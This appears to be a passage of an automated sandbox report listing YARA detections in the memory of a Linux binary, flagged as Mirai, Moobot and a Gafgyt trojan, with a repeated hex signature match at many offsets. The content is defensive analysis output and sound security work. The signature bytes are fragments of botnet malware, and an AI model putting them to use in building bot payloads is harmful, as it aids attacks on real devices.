Process Memory Space: log21.x86_64.elf PID: 6243	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19f1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a05:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a19:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a2d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a41:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a55:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a69:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a7d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a91:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aa5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1acd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ae1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1af5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b09:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b1d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b31:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b45:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b59:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b81:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6244	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6244	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6244	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe89:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe9d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeb1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xec5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xed9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xeed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf51:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf65:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf79:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf8d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfa1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfb5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfc9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xfdd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xff1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6245	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6245	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19f2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a06:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a2e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a42:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a56:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a6a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a7e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a92:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aa6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aba:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ace:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ae2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1af6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b0a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b1e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b32:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b46:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b5a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b82:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6246	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6246	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6246	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1111:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1125:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1139:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x114d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1161:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1175:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1189:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x119d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11b1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11c5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11d9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11ed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1201:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1215:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1229:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x123d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1251:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1265:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1279:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x128d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12a1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6247	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6247	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19f2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a06:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a2e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a42:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a56:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a6a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a7e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a92:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aa6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aba:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ace:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ae2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1af6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b0a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b1e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b32:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b46:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b5a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b6e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b82:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6248	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6248	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1768:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x177c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1790:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1808:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x181c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1830:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1844:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1858:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x186c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1880:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1894:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6249	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6249	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a07:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a2f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a43:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a57:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a6b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a7f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a93:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aa7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1acf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ae3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1af7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b0b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b1f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b33:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b47:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6250	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6250	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19e2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19f6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a32:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a46:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a5a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a6e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a82:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a96:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aaa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1abe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ae6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1afa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b0e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b22:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b36:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b4a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b5e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1b72:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: log21.x86_64.elf PID: 6251	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: log21.x86_64.elf PID: 6251	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x19f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1aa4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ab8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 